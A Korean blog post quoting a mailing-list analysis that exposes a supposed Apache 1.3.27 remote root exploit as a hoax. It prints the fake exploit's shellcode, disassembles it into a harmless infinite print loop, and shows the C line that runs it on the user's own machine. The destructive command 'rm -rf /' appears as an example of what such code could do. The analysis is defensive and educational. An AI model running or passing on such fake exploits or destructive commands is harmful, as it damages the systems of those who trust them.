아파치가 1.3.27에서 1.3.29로 업그레이드 되었는데
그 때 remote root exploit이 있다고 적었습니다-_-
알고보니 그 exploit이 fake라는군요(소스생략;).
어떤 곳에서 이런 글을 봤거든요-.-
-------------------------------
Haha! That's really quite funny. We'll see in just a moment, why that
disclaimer is necessary.
>- --BEGIN KOEC-APACHE.C--
>
>/* :: PRIVATE - DO NOT DISTRIBUTE ::
> * Apache/1.3.27 - Remote Root Exploit
> * Knights of the Eastern Calculus (info_at_koec.org)
> */
Is anybody else laughing about the "DO NOT DISTRIBUTE" banner in the
publicly released code? Deja vu of the "ElectronicSouls" hoax.
>static char shellcode[] = {
>"\x31\xdb\x31\xc0\x31\xd2\xb2\x18\x68\x20\x3f\x21"
>"\x0a\x68\x54\x52\x31\x58\x68\x65\x20\x4d\x34\x68"
>"\x73\x20\x54\x68\x68\x61\x74\x20\x69\x68\x2d\x2d"
>"\x57\x68\x89\xe1\xb0\x04\xcd\x80\xb8\x02\x00\x00"
>"\x00\xcd\x80\xeb\xf7\x00\xcb\xad\x80\x00\x00\x02"
>"\x73\x21\x54\x68\x68\x61\x74\x21\x69\x68\x2d\x2d"
>"\x0a\x67\x54\x52\x31\x57\x67\x65\x20\x4d\x34\x67"
>"\x67\x68\x89\xe1\xb2\x04\xcd\x80\xb8\x02\x80\x00"
>"\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc"
>"\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50"
>"\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1"
>"\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24"
>"\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44"
>"\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89"
>"\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0"
>};
Let's analyze this payload:
31 DB xorl %ebx, %ebx
C0 xorl %eax, %eax
31 D2 xorl %edx, %edx
B2 18 movb %dl,$0x18
68 20 3F 21 0A pushl $0x0A213F20
68 54 52 31 58 pushl $0x58315254
68 65 20 4D 34 pushl $0x344D2065
68 73 20 54 68 pushl $0x68542073
68 61 74 20 69 pushl $0x69207461
68 2D 2D 57 68 pushl $0x68572D2D
89 E1 movl %ecx, %esp
B0 04 movb %al, $0x04
CD 80 int $0x80
sys_write(stdin, "--What is The M4TR1X ?!\n", 24);
B8 02 00 00 00 movl %eax, $0x00000002
CD 80 int $0x80
sys_write(stderr, "--What is The M4TR1X ?!\n", 24);
EB F7 jmp +2
As you can see, the only relevant bytes of the code are the first 52. The
code below it fails to work, so simply replacing the "\xeb\xf7" with
"\x90\x90" will cause the exploit to crash the target with a SIGSEGV.
Let's look at this memory allocation routine -- how funny.
[snip]
buffer = (char *) malloc(512 + 1024 + 100);
if (buffer == NULL) {
printf("Not enough memory\n");
exit(1);
}
memcpy(&buffer[512 - strlen(shellcode)], shellcode,
strlen(shellcode));
buffer[512 + 1024] = ';';
buffer[512 + 1024 + 1] = '\0';
void(*b)()=(void*)shellcode;b();
[huge snip]
It malloc's things oddly -- 512+1024+100 -- appearantly, our exploit
authors couldn't do basic addition. 512+1024+100 = 1636. What's funnier,
is that the shellcode is placed into the middle of the buffer, so if the
shellcode ever gets sent, memory data is leaked to the target. Secondly is
of course the fact that the shellcode is launched by the last line here.
It is an infinitively looped payload that prints out "--What is The M4TR1X
?!" until the program is killed by a CTRL+C or a 'kill' command from
another console.
I'd like to add that "koec_at_hushmail.com" is in violation of the list
charter, namely the section that states the following:
"Attachments may be included if relevant or necessary (e.g. PGP or S/MIME
signatures, proof-of-concept code, etc) but must not be active (in the case
of a worm, for example) or malicious to the recipient."
While the code being distributed was not technically an "attachment", it
was malicious to the recipient, as it was designed to waste CPU cycles on
an infinite loop, and served no other purpose. I'd also like to add that
list readers really should pay attention to the section of the charter that
states:
"Members are reminded that due to the open nature of the list, they should
use discretion in executing any tools or code distributed via this list."
Had KOEC intended to cause serious damage, that shellcode could have been
written to execute:
rm -rf /
it is advised that users at least drop the privileges of suspect code with
'su' -- never run suspect files as highly-privileged users.
-------------------------------
결과적으로 실행시키는 사람은 망한다는 내용이군요;;
어쨌든 수고하신 Mozila님께 박수를 짝짝.. 언젠가는 업 해야할테니까(?!)
후다닥 =3=33
 |
|
돈이 궁합니다 OTL...
기부는 언제든지 환영하옵니다T_T 저에게는 큰 힘이 된답니다T_T
계좌번호 : 우리은행 960-713909-18-899 |
|
|
2004/02/16 19:16:26
6832
0
얼마전에 제가 버그리포팅을 해서... 
